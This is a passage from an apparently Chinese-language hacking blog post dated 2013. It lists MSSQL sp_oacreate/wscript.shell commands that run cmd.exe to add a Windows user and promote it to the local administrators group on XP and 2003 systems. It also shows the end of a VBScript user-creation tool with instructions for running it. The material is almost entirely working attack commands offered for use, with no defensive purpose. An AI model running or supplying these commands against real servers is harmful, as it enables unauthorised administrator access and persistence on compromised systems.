@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用戶 /add'
 
xp或2003server系統:
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
 
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用戶 密碼 /add'
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
 
@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用戶 /add'
 
還不行就沒辦法了!
 
=============
echo struser & " 建立成功!"
wscript.quit
end if
Next
 
Wscript.echo struser & " 用戶建立失敗!"
將以上保存爲user.VBS文件
然後執行:cscript user.vbs 用戶名 密碼
 
注:代碼來自網絡~
 
 
 
 
                                                        by:軍師G
                                                         2013.1.1
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章